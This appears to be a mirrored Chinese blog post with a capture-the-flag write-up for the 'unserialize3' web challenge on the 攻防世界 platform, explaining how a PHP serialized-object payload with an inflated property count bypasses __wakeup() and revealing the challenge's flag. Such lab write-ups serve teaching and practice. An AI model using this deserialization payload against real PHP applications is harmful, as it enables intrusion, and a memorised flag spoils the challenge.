zoukankan      html  css  js  c++  java
  • 攻防世界-web进阶-unserialize3

    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    ?code=

    注意到了_wakeup(),如果需要反序列化的时候,php才会调用_wakeup()。所以我们需要利用反序列化。

    <?php
    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    }
    $a = new xctf();
    echo serialize($a);
    ?>

      

    那我们如果直接这样?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";},那他会直接输出bad requests,

    那这并不是我们想要的结果。所以我们还要利用漏洞绕过。而_wakeup()要求被序列化的对象属性个数要大于原来的1

    将序列化字符串中代表变量个数的数字改为大于其真实值的数字,得到结果。

    ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
    

      

    cyberpeace{ecb272ecae9b3b73f3009359272108b0}
  • 相关阅读:
    JDBC MySQL 实例之 用户管理系统
    利用JDBC连接数据库(MySQL)
    CSS01
    HTML01
    GUI编程02
    GUI编程01
    名词解释
    Navicat MySQL安装
    Eclipse安装Web/JavaEE插件、Eclipse编写HTML代码
    Pascal输出星星
  • 原文地址:https://www.cnblogs.com/tac2664/p/13869825.html
Copyright © 2011-2022 走看看